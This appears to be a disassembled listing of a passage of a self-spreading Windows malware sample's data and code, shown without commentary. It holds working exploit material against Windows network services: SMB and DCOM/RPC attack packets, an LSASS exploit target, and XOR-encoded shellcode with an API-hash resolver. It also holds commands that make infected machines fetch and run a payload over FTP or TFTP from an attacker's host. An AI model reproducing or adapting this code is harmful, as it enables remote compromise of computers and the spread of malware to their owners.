dword_432044 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_4320FC dd 0 ; DATA XREF: sub_40D1C8+44o
dd 800000D4h, 0
unk_432108 db 81h ; ; DATA XREF: sub_40D2A2+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_432154 db 41h ; DATA XREF: sub_40D340+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_432198 proc near ; DATA XREF: ___:0040D61Fo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_432294
push dword ptr [esi]
push 63D61209h
call sub_4322AA
mov [esi+8], eax
call sub_43225D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_4322AA
mov [esi+0Ch], eax
call sub_43220F
push dword ptr [esi+4]
push 4C0297FAh
call sub_4322AA
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_432198 endp
; =============== S U B R O U T I N E =======================================
sub_43220F proc near ; CODE XREF: sub_432198+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_432238
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_43220F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432238 proc near ; CODE XREF: sub_43220F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_432247: ; CODE XREF: sub_432238+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_432254
inc ebx
jmp short loc_432247
; ---------------------------------------------------------------------------
loc_432254: ; CODE XREF: sub_432238+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_432238 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43225D proc near ; CODE XREF: sub_432198+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_432275: ; CODE XREF: sub_43225D+1Ej
cmp [ecx], ebx
jz short loc_43227D
mov ecx, [ecx]
jmp short loc_432275
; ---------------------------------------------------------------------------
loc_43227D: ; CODE XREF: sub_43225D+1Aj
mov edx, edi
loc_43227F: ; CODE XREF: sub_43225D+2Aj
cmp [edx+4], ebx
jz short loc_432289
mov edx, [edx+4]
jmp short loc_43227F
; ---------------------------------------------------------------------------
loc_432289: ; CODE XREF: sub_43225D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_43225D endp
; =============== S U B R O U T I N E =======================================
sub_432294 proc near ; CODE XREF: sub_432198+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_432294 endp
; =============== S U B R O U T I N E =======================================
sub_4322AA proc near ; CODE XREF: sub_432198+16p
; sub_432198+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_4322C0: ; CODE XREF: sub_4322AA+33j
jecxz short loc_4322FA
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_4322CD: ; CODE XREF: sub_4322AA+2Dj
lodsb
cmp al, ah
jz short loc_4322D9
ror edi, 0Dh
add edi, eax
jmp short loc_4322CD
; ---------------------------------------------------------------------------
loc_4322D9: ; CODE XREF: sub_4322AA+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_4322C0
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_4322FA: ; CODE XREF: sub_4322AA:loc_4322C0j
; sub_4322AA:loc_4322FAj
jmp short loc_4322FA
sub_4322AA endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_432300 proc near ; DATA XREF: ___:0040D5CDo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_432352
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_43231D: ; CODE XREF: sub_432300+38j
jecxz short loc_43234D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_432328: ; CODE XREF: sub_432300+32j
lodsb
test al, al
jz short loc_432334
ror edx, 0Dh
add edx, eax
jmp short loc_432328
; ---------------------------------------------------------------------------
loc_432334: ; CODE XREF: sub_432300+2Bj
cmp edx, [esp+arg_0]
jnz short loc_43231D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_43234D: ; CODE XREF: sub_432300:loc_43231Dj
mov [esp+arg_0], ebx
retn
sub_432300 endp
; =============== S U B R O U T I N E =======================================
sub_432352 proc near ; CODE XREF: sub_432300+7p
; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_43236B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_432376
; ---------------------------------------------------------------------------
loc_43236B: ; CODE XREF: sub_432352+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_432376: ; CODE XREF: sub_432352+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_43238A
sub_432352 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43237D proc near ; CODE XREF: sub_432352:loc_43238Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_43237D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_432352
loc_43238A: ; CODE XREF: sub_432352+29j
call sub_43237D
loc_43238F: ; DATA XREF: sub_40CD9E+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_432352
; ---------------------------------------------------------------------------
dw 0
dword_432394 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A0 dd 30h ; DATA XREF: sub_40CD9E+2CAo
dword_4323A4 dd 0A1h ; DATA XREF: sub_40CD9E+29Fo
dword_4323A8 dd 3 ; DATA XREF: sub_40CD9E+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o
align 4
loc_4323B4: ; DATA XREF: sub_40CD9E+E8o
jmp short near ptr dword_4323BC
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_4323BC dd 0 ; CODE XREF: ___:loc_4323B4j
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: ___:0040D5F4o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 4
dword_432424 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: ___:0040E02Do
; ___:0040E167o
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40DCF9+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4327D4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o
dd 20h, 5C005Ch, 0
off_4327E8 dd offset aLafler ; DATA XREF: sub_40DCF9+15Do
; "Lafler"
dd offset dword_5C0024
a12345611111111:
unicode 0, <123456111111111111111.doc>,0
align 8
dword_432828 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43285C dd offset word_580046 ; DATA XREF: sub_40DCF9+45o
dd offset loc_42004C+2
dd offset word_580046
dd offset word_580046
dd offset loc_42004C+2
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_432938 dd 10016C6h ; DATA XREF: sub_40DCF9+104o
dword_43293C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo
off_432940 dd offset dword_5C005C ; DATA XREF: sub_40DB5E+1Co
; sub_40DC41+16o
align 8
off_432948 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co
; sub_40DC41+Bo
dd offset aLallemant+8
dd 24h
aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o
; ___:0040E99Eo ...
align 10h
aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o
align 4
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do
align 10h
jmp short loc_4329C2
; =============== S U B R O U T I N E =======================================
sub_4329B2 proc far ; CODE XREF: sub_4329B2:loc_4329C2p
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_4329BA: ; CODE XREF: sub_4329B2+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_4329BA
jmp short loc_4329C7
; ---------------------------------------------------------------------------
loc_4329C2: ; CODE XREF: ___:004329B0j
call near ptr sub_4329B2
loc_4329C7: ; CODE XREF: sub_4329B2+Ej
jo short loc_432A2B
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_432A49
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_432A2B: ; CODE XREF: sub_4329B2:loc_4329C7j
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_432A49: ; CODE XREF: sub_4329B2+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_4329B2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_432AF0: ; DATA XREF: sub_40E3F1+156o
; sub_40E3F1+212o
jmp short loc_432B02
; =============== S U B R O U T I N E =======================================
sub_432AF2 proc near ; CODE XREF: sub_432AF2:loc_432B02p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_432AFA: ; CODE XREF: sub_432AF2+Cj
xor byte ptr [edx+ecx], 99h
loop loc_432AFA
jmp short loc_432B07
; ---------------------------------------------------------------------------
loc_432B02: ; CODE XREF: ___:loc_432AF0j
call sub_432AF2
loc_432B07: ; CODE XREF: sub_432AF2+Ej
jo short near ptr dword_432A80+1Eh
cwde
cdq
cdq
retn
sub_432AF2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_432BA0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40E3F1+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: ___:0040E8A6o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D14 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:0040E8D2o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_432DC0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:0040E8F9o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_432EA0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_0: ; DATA XREF: sub_40E3F1+8Ao
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_432F04 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_432F70 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_433094 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_433128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_433194 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208 dd 0 ; DATA XREF: sub_40E3F1+35Fo
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 2 dup(0)
word_433290 dw 0AD9Dh ; DATA XREF: sub_40E292+30r
; sub_40E3F1+E7r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 10h
dword_4332D0 dd 1004600h ; DATA XREF: sub_40E3F1+140r
; sub_40E3F1+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_40E292+BCo
db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------
loc_433408: ; DATA XREF: sub_40E3F1+177o
jmp short loc_433410
; ---------------------------------------------------------------------------
jmp short loc_433412
; ---------------------------------------------------------------------------
align 10h
loc_433410: ; CODE XREF: ___:loc_433408j
; DATA XREF: sub_40E3F1+27o
pop esp
pop esp
loc_433412: ; CODE XREF: ___:0043340Aj
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_43341C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr
dword_433420 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r
dword_433424 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
